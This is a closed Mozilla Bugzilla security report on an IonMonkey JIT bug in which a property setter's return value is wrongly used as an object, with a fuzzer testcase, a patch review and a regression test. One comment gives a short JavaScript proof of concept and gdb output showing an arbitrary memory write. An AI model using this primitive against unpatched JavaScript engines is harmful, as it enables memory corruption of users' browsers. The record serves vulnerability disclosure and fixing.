Closed Bug 784385 Opened 12 years ago Closed 12 years ago

IonMonkey: Assertion failure: [infer failure] Missing type pushed 0: void, at jsinfer.cpp:327

Categories

(Core :: JavaScript Engine, defect)

defect
Not set
major

Tracking

()

VERIFIED FIXED
mozilla18
Tracking Status
firefox15 --- unaffected
firefox16 --- unaffected
firefox17 --- unaffected
firefox18 --- fixed
firefox-esr10 --- unaffected
firefox-esr17 --- unaffected

People

(Reporter: decoder, Assigned: jandem)

References

Details

(Keywords: assertion, testcase, Whiteboard: [ion:p1:fx18] [jsbugmon:update,origRev=fdfaef738a00,ignore][adv-main18-])

Attachments

(1 file)

The following testcase asserts on ionmonkey revision ab4f8a3762c6 (run with --ion -n -m):


var obj = {};
evaluate('\
  Object.defineProperty(Object.prototype, "a", {\
    set: function(a) { eval("ga = true;"); },\
  });\
  var obj2 = { b:-1, a:-1 };\
  for (var i = 0; 1; i++) {\
    obj2.b = obj.a = i;\
}\
', { noScriptRval: true });
Whiteboard: [jsbugmon:update] → [jsbugmon:update][ion:p1:fx18]
The problem here is that IonBuilder::jsop_setprop calls makeCallBarrier and this pushes the result of the setter. However, JSOP_SETPROP should always repush the original RHS value and ignore the setter return value.

----

Trivial to exploit, an attacker can write an arbitrary int32 value to an arbitrary memory address:

Object.defineProperty(Object.prototype, "a", {
    set: function(a) { eval(""); return 123; }
});
var obj = {};
var obj2 = {x: 1};
for (var i = 0; 1; i++) {
    var res = (obj.a = obj2);
    res.x = 0xbeef;
}

0xfd184a:	movl   $0xffffff81,0x14(%ecx)
0xfd1851:	movl   $0xbeef,0x10(%ecx)
(gdb) p $ecx
$1 = 123
Attached patch PatchSplinter Review
This can easily cause browser crashes, so taking.

The patch splits most of makeCallBarrier into a new function we can call from jsop_setprop. I don't like adding another call function but I don't see a better option. The patch gets rid of jsop_call_fun_barrier though, it's inlined into its only caller.
Assignee: general → jdemooij
Status: NEW → ASSIGNED
Attachment #660351 - Flags: review?(dvander)
Attachment #660351 - Flags: review?(dvander) → review?(kvijayan)
Comment on attachment 660351 [details] [diff] [review]
Patch

Review of attachment 660351 [details] [diff] [review]:
-----------------------------------------------------------------

Looks good.

::: js/src/jit-test/tests/ion/bug784385.js
@@ +5,5 @@
> +var obj2 = {x: 1};
> +for (var i = 0; i < 100; i++) {
> +    var res = (obj.a = obj2);
> +    res.x = 0xbeef;
> +}

Will itercount of 100 catch this in the usual Ion + JM configuration?  Set jit-test flags to indicate running with --no-jm (to get ioncompile usecount down to 40), or increase the loopiter to 11,000 or so.  The latter is probably better since it should catch regardless of configuration.
Attachment #660351 - Flags: review?(kvijayan) → review+
(TBPL and jit-tests with --ion will test the --no-jm config)
https://hg.mozilla.org/integration/mozilla-inbound/rev/1f52e1945cd5
OS: Linux → All
Hardware: x86_64 → All
Target Milestone: --- → mozilla18
Whiteboard: [jsbugmon:update][ion:p1:fx18] → [jsbugmon:update,origRev=fdfaef738a00][ion:p1:fx18]
Version: Other Branch → Trunk
Whiteboard: [jsbugmon:update,origRev=fdfaef738a00][ion:p1:fx18] → [ion:p1:fx18] [jsbugmon:update,origRev=fdfaef738a00,ignore]
JSBugMon: The testcase found in this bug no longer reproduces (tried revision a41731220fec).
https://hg.mozilla.org/mozilla-central/rev/1f52e1945cd5
Status: ASSIGNED → RESOLVED
Closed: 12 years ago
Resolution: --- → FIXED
Status: RESOLVED → VERIFIED
JSBugMon: This bug has been automatically verified fixed.
Whiteboard: [ion:p1:fx18] [jsbugmon:update,origRev=fdfaef738a00,ignore] → [ion:p1:fx18] [jsbugmon:update,origRev=fdfaef738a00,ignore][adv-main18-]
Group: core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: